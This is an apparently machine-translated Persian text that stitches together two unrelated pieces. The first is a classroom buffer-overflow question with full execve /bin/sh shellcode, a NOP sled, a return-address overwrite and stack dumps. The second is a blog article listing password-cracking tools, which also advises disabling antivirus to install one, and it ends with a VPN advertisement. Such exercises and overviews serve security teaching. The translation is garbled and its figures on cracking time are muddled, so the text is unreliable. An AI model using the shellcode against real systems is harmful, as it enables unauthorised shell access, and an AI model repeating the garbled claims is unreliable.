سرریز بافر – shellcode تزریقی پس از دستورالعمل ترک خراب شده است

من یک سرریز بافر برای یک کلاس تمرین می کنم و من یک تکه کد دارم که از یک سیستم منبع باز قرض گرفتم. متاسفانه من نمی توانم این کد را فاش کنم.

اطلاعات سیستم من:

 nikel $ uname -a
لینوکس اوبونتو 4.15.0-29-عمومی # 31 ~ 16.04.1-اوبونتو SMP جمعه 18 ژوئیه 10:19:08 UTC 2018 i686 i686 i686 گنو / لینوکس

من از gdbgui برای اشکالزدایی که از طریق pip نصب کردم استفاده میکنم. این نسخه گرافیکی از gdb است.

 nikel $ gdbgui --version
0.13.0.0

بافر من سرشار است، buf اعلام شده حاوی 128 بایت و در 0xbfffe928 وجود دارد. مقادیر به صورت زیر با آرایه اضافه می شوند: buf [len++]، جایی که len در 0xbfffe9a8 است. آدرس برگشت در 0xbfffe9bc .

این شل کد است که من تزریق می کنم:

 " x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x31  xc0  x50  x68  x2f  x2f  x73  x68  x68  x2f  x62  x69  x6e  x89  xe3  x50  x89  xe2  x53  x89  xe1  xb0  x0b  xcd  x80  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x94  x28  xe9  xff  xbf "

در shellcode:

  1. هدف شلختگی، راه اندازی پوسته سیستم / bin / sh است. من آن را مستقیما از https://dhavalkapil.com/blogs/Shellcode-Injection/
  2. x94 کپی کردم که در انتهای آن قرار داده ام، چون آدرسهای حافظه را پر میکنم و به طور مستقیم نوشتن در آدرس بازگشت است که در 0xbfffe9bc .
  3. باز " لازم است که وارد عمل تضعیف شده و بسته شدن " لازم است از این تابع
  4. من فایل را با استفاده از vim -b ویرایش کرده ام و آن را به عنوان یک فایل .bin ذخیره کردم.

این حالت پشته درست قبل از ترک دستورالعمل:

 0xbfffe928: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe930: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe938: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe940: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe948: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe950: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe958: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe960: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe968: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe970: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe978: 0x31 0xc0 0x50 0x68 0x2f 0x2f 0x73 0x68
0xbfffe980: 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x50
0xbfffe988: 0x89 0xe2 0x53 0x89 0xe1 0xb0 0x0b 0xcd
0xbfffe990: 0x80 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe998: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe9a0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe9a8: 0x99 0x00 0x00 0x00 0x22 0x00 0x00 0x00
0xbfffe9b0: 0xf0 0xef 0xff 0xbf 0x70 0xc1 0x05 0x08
0xbfffe9b8: 0xe8 0xe9 0xff 0xbf 0x28 0xe9 0xff 0xbf

این پشته پس از ترک دستورالعمل:

 0xbfffe928: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe930: 0x90 0x90 0x90 0x90 0x00 0x00 0x00 0x00
0xbfffe938: 0x00 0x37 0xdb 0xb7 0x00 0x00 0x00 0x00
0xbfffe940: 0xa0 0xe5 0xe1 0xb7 0x00 0x00 0x00 0x00
0xbfffe948: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe950: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe958: 0xa9 0xf8 0xe1 0xb7 0x00 0x60 0xf6 0xb7
0xbfffe960: 0x00 0x60 0xf6 0xb7 0x00 0x60 0xf6 0xb7
0xbfffe968: 0x8c 0xe9 0xff 0xbf 0xd6 0xfc 0xe1 0xb7
0xbfffe970: 0x01 0x00 0x00 0x00 0x90 0x90 0x90 0x90
0xbfffe978: 0x6b 0x1e 0xe1 0xb7 0x70 0xc1 0x05 0x08
0xbfffe980: 0x00 0x60 0xf6 0xb7 0xc6 0xfc 0xe1 0xb7
0xbfffe988: 0x70 0xc1 0x05 0x08 0xaf 0xe9 0xff 0xbf
0xbfffe990: 0x00 0x00 0x00 0x00 0x90 0x90 0x90 0x90
0xbfffe998: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe9a0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe9a8: 0x99 0x00 0x00 0x00 0x22 0x00 0x00 0xcc
0xbfffe9b0: 0xf0 0xef 0xff 0xbf 0x70 0xc1 0x05 0x08
0xbfffe9b8: 0xe8 0xe9 0xff 0xbf 0x28 0xe9 0xff 0xbf

من نمی فهمم که چرا فضای حافظه buf خراب شده است. اگر برنامه را اجرا کنم، این خطا را به من می دهد:

 برنامه
 دریافت سیگنال SIGSEGV، گسل Segmentation.
0xbfffe928 در ؟؟ ()

EIP دارای مقدار 0xbfffe928 است که صحیح است. gdb می گوید نمی تواند به آدرس 0xbfffe928 دسترسی پیدا کند

چطور ترک خوردگی خشن میتواند رمز عبور شما را نشان دهد؟

مقدمه:

در جهان از جرایم اینترنتی، حملات نیروهای برونتی بسیار محبوب بوده است، زیرا تعداد حملات در یک روز از هزار تا چند میلیون نفر است.

نیروی بی رحمانه یک روش آزمایشی و خطا برای خراب کردن نام کاربری یا رمز عبور یک حساب خاص است. این ترکیبات زیادی را ایجاد می کند و حدس زدن گذرواژه یا نام کاربری را تا زمانی که هر دو جنبه یک ترکیب کامل را ایجاد می کنند، نگه می دارد.

همچنین به عنوان نیروی بی نقص یا ترک خوردگی نیروی نامیده می شود و این تکنیک به طور انحصاری برای رمزگشایی رمز یا نام کاربری ها استفاده می شود از یک حساب هدف.

اساسا، بسیاری از ترکیبات مورد آزمایش قرار گرفته اند تا شما رمز عبور درست دریافت کنید. اما به نظر ساده نیست، حتی یک پین کارت ATM یا پین های تلفن همراه دارای حداقل 4 کاراکتر است که ترکیبی از اعداد هستند، بنابراین در اینجا امکان 9000 تلاش خواهد بود، اما آیا واقعا فکر می کنید که شما قبل از اینکه قفل شوید تلاش های زیادی را انجام می دهید.؟ [196659005] هنگامی که برای تلاش برای رمزعبور درست می آید، ممکن است با فیس بوک یا جیمیل متوجه شدید که حداکثر 4 تلاش را انجام می دهید که پس از آن قفل می شوید ، در برخی موارد قفل شدن برای 24-48 ساعت انجام می شود، اما اگر امنیت بالا باشد احتمال دارد که حسابتان را از دست بدهید.

اجازه دهید ما را برای شما ساده تر کنیم. اجازه دهید ما یک رمز عبور با 8 کاراکتر داشته باشیم که می تواند الفبایی باشد.

با محاسبه تعداد کاراکترهایی که 26 عدد بزرگ و 26 حروف کوچک حروف همراه با 10 عدد است و مجموع آن 62 عدد است. برای رمز ورود 8 کاراکتر، تعداد ترکیب 62 8 است که حدود 218 تریلیون ترکیب است، با گرفتن آن یک سعی در ثانیه 7 میلیون سال برای تلاش همه ترکیب است و من مطمئن هستم هیچ کس نمی رود اگر این کار را می کنید که می تواند حداقل یک صد و چهل و یک هزار و یک ثانیه طول بکشد، پس از آن رمز عبور می تواند در 22 ثانیه شکسته شود، که عملا غیرممکن است، مگر اینکه شما یک ابر رایانه داشته باشید.

اگر شما فکر می کنم این تنها نوع حمله است که می تواند رمز عبور را نشان دهد، شما اشتباه می کنید، یک دیگری وجود دارد که به همان شیوه عمل می کند اما با پدیده معکوس است که حملات نیروی برون مرزی است.

حمله نیروی بی رحم معکوس همان پدیده ای است که به طور گسترده ای برای خرابکاری رمز عبور استفاده می شود، اما تغییر کوچکی وجود دارد، این زمانی است که رمز عبور را می دانید و شما باید نام کاربری را حدس بزنید، اما این شبیه به حمله نیروی بی رحم نیست، جایی که شما باید میلیون ها را حدس بزنید از شرکت Aircrack Ng:

Aircrack Ng یک ابزار محبوب برای خرابکاری رمز عبور است. از پروتکل WEP / WPA / WPA2 برای Wifi 802.11 استفاده می کند. اگر شما تحت یک حمله نیروی محرمانه هستید، باید بدانید که ترک خوردگی رمز عبور عمدتا به فرهنگ لغت ترکیب رمز عبور موجود در ابزار خرابکاری بستگی دارد. این ابزار در ویندوز و لینوکس در دسترس است و همچنین برای اجرا در سیستم عامل های Android و iOS نیز وارد می شود.

این ابزار در سیستم عامل های ویندوز و لینوکس موجود است. شما می توانید این ابزار را از وب سایت رسمی دانلود کنید

John The Ripper:

این یکی دیگر از محبوب ترین ابزار مورد استفاده برای شکستن رمز عبور است، بعد از Aircrack، John the Ripper دومین ابزار به طور گسترده ای مورد استفاده برای حملات نیروی بی رحم است

برای اولین بار این ابزار برای سیستم های یونیکس به علت افزایش ناگهانی محبوبیت توسعه یافته است، توسعه دهندگان شروع به کار بر روی سیستم عامل های مختلف کرده اند و امروزه در بیش از 10 سیستم عامل به طور گسترده استفاده می شود از جمله Windows، DOS، Linux، BeOS و بسیاری دیگر.

این ابزار معمولا cracking رمز عبور با استفاده از تمام ترکیبات حروف و اعداد را انجام می دهد، اما اگر شما در یک حمله فرهنگ لغت، می توانید از فرهنگ لغت رمز عبور برای انجام حمله فرهنگ لغت استفاده کنید.

این ابزار می تواند دانلود اینجا

Rainbow Crack:

Crack Rainbow یک ابزار دیگر است که توسط بسیاری از هکرها در رمز عبور cracking استفاده می شود، این ابزار مشهور است برای جداول رنگین کمان از ترکیبات برای انجام حملات، [19659005] تابلوهای رنگین کمان مجموعه ای از مقادیر یا ترکیبی از پیش تعیین شده هستند که زمان برداشتن رمز عبور را کاهش می دهند.

این برنامه هنوز فعال است و تنها در سیستم عامل های ویندوز و لینوکس موجود است

ابزار را می توان از لینک دانلود کرد : http://project-rainbowcrack.com/

کاین و آبل:

این یک ابزار محبوب و چند وظیفه ای برای هکرها است، مانند ابزارهایی که در بالا بحث شده است، این ابزار کمک می کند تا رمز عبور را ترک کرده و همچنین حملات فرهنگ لغت

شما باید بدانید که اکثر نرم افزار آنتی ویروس این ابزار به عنوان بدافزار به رسمیت شناخته شده است. در صورت نصب این ابزار، آنتی ویروس را خاموش کنید.

به عنوان ابزار به عنوان ابزار چند وظیفه برچسبگذاری شده است، در زیر برخی از ویژگی های شناخته شده است که می تواند با استفاده از کین و آبل انجام شود.

  • شبکه خرابکاری
  • واژهنامه حملات
  • رمزهای رمزگذاری
  • تجزیه و تحلیل پروتکل مسیریابی
  • بازیابی کلیدهای شبکه

برای دانلود این ابزار روی اینجا کلیک کنید

HashCat :

بسیاری از هکرها ادعا میکنند که هشکیت سریعترین ابزار مبتنی بر CPU برای شکستن گذرواژهها است. این ابزار به صورت رایگان در دسترس است و در نسخه های لینوکس، ویندوز و مک نسخه قابل دسترس است.

تخصص این ابزار این است که از تمام الگوریتم های هش کردن مانند هش LM، SHA-family، MD4، MD5 و غیره پشتیبانی می کند. همچنین شما باید بداند که این ابزار نه تنها برای حملات نیروهای بیرحمانه بلکه برای حملات فرهنگ لغت، حملات اثر انگشت، حملات ماسک و بسیاری موارد دیگر نیز مورد استفاده قرار می گیرد.

این ابزار را می توان از سایت رسمی دانلود کرد.

NCrack:

ما بسیاری از ابزارها را مورد بحث قرار داده ایم کار بر روی سیستم عامل های رایج سیستم عامل. این ابزار محبوبیت را برای استفاده در RDP، SSH، FTP، SMB و دیگر سیستم عامل ها به دست آورد.

این ابزار همچنین از تمام نسخه های لینوکس، BSD، سیستم عامل های ویندوز پشتیبانی می کند.

SAM Inside:

SAM inside یکی دیگر از ابزار محبوب مورد استفاده برای شکستن کلمه عبور ویندوز سیستم عامل، آن را مانند ابزار Ophcrack یا Lophtcrack شبیه است. این ابزار می تواند حدود 10 میلیون کلمه عبور را در یک ثانیه شکست دهد اگر شما دارای یک کامپیوتر با سرعت خوب و پیکربندی بالا پایان هستید. این ابزار پشتیبانی از بیش از 400 الگوریتم های هش کردن از جمله خانواده SHA، MD4، MD5 و بسیاری دیگر است.

این ابزار را می توان دانلود کرد اینجا

دیو گرول:

دیو گرول محبوب ابزار رمزگذاری رمز عبور برای MAC است سیستم عامل و پشتیبانی این یک نسخه کامل از MAC است، این ابزار تخصصی برای حملات خشونت آمیز و حملات فرهنگ لغت است. این بسیار پیشرفته است که می توان از چندین کامپیوتر برای حمله یا کار بر روی یک کد هش استفاده کرد. این یک برنامه منبع باز است و تمام کدهای منبع در دسترس هستند اینجا

مراحل ساده برای جلوگیری از حملات خشونت آمیز:

طول رمز: همیشه مطمئن شوید که رمز عبور را به اندازه کافی قوی از هک شدن تنظیم کرده اید و به راحتی می توانید به یاد داشته باشید، روزهای تولد، نام حیوانات، شماره تلفن های خود را که می توان به راحتی حدس زد را حفظ نکنید.

Complexity Password: پیچیدگی رمز عبور را می توان با تعداد کاراکتر ها و ترکیبات مورد استفاده اندازه گیری کرد. امروزه توصیه می شود که یک رمز عبور از 8 تا 15 کاراکتر داشته باشید که شامل استفاده از الفبای (موارد بالا و پایین)، اعداد و کاراکترهای خاص است.

تلاش ورود محدود: این بهترین ویژگی توسعه یافته تا تاریخ است که به شما کمک میکند حساب کاربری خود را سالم نگه دارید، برنامه های کاربردی رسانه های اجتماعی مانند فیس بوک، نمایش مشخصات عمومی و خدمات ایمیل مانند جیمیل این ویژگی را در حال استفاده داشته اند.

این ویژگی شما را از حساب کاربری شما قفل می کند، معیارها میتوانند نام کاربری یا رمز عبور باشند، اگر ترکیبات مطابقت نداشته باشند، حساب قفل خواهد شد. برخی از حساب ها برای چند ساعت قفل می شوند در حالی که برخی از آنها به 24-48 ساعت می رسد.

تأیید اعتبار دو عامل: این روش منحصر به فرد دیگر برای حفاظت از حساب شما از حملات خشونت آمیز است. به عنوان مثال، Gmail با استفاده از رمز عبور و شماره تلفن شما از طریق دو پارامتر احراز هویت با استفاده از 2 روش وارد شده است.

هر زمان که از طریق یک شبکه جدید یا دستگاه دیگری وارد حساب کاربری خود شوید، به شما یک کد را ارسال می کند شماره تلفن شما که باید تایید شود و شما قادر خواهید بود ادامه دهید.

با استفاده از یک VPN رمزنگاری قوی: شبکه های خصوصی مجازی معمولا هنگامی که شما می خواهید اتصال خود را امن کنید استفاده می شود. امروزه به طور گسترده ای مشاهده می شود که VPN برای دسترسی به سایت های محدود شده با استفاده از Geo-restricted استفاده می شود اما در واقع VPN ها برای آن معرفی نشده است. هنگامی که شما به یک سرور VPN متصل می شوید، تمام فعالیت های مرور خود را از طریق یک تونل رمزگذاری شده 256 بیتی که میلیون ها سال به دور زدن طول می کشد، هدایت می کند.

نتیجه گیری:

ترک خوردگی نیرویی بهترین روش رمز گشایی رمز عبور است، که عملا غیرممکن است در یک رایانه معمولی، هنوز توصیه می شود که یک رمز عبور قوی و طولانی با تمام ترکیبات مانند حروف، اعداد و کاراکترهای خاص داشته باشید این یک حمله نیروی بی رحمانه را اجتناب می کند، اما قطعا باعث می شود که سخت و وقت گیر باشد. یکی دیگر از راه حل استفاده از یک سرویس VPN به طور کامل رمزگذاری اتصال شما خواهد بود. با استفاده از LimeVPN، اطمینان حاصل کنید که تمام داده های شما امن خواهد بود زیرا LimeVPN با استفاده از یک رمزنگاری درجه نظامی 256 بیتی در سرورهای خود دارد.

هر گونه پیشنهاد و یا شک و تردید، به ما در نظرات ارسال کنید.

راشیل چپمن

یک بازیگر کامل و یک Tech Geek. تمام افکار و افکار خود را در وبلاگ های نوشتاری Techie منتشر می کند.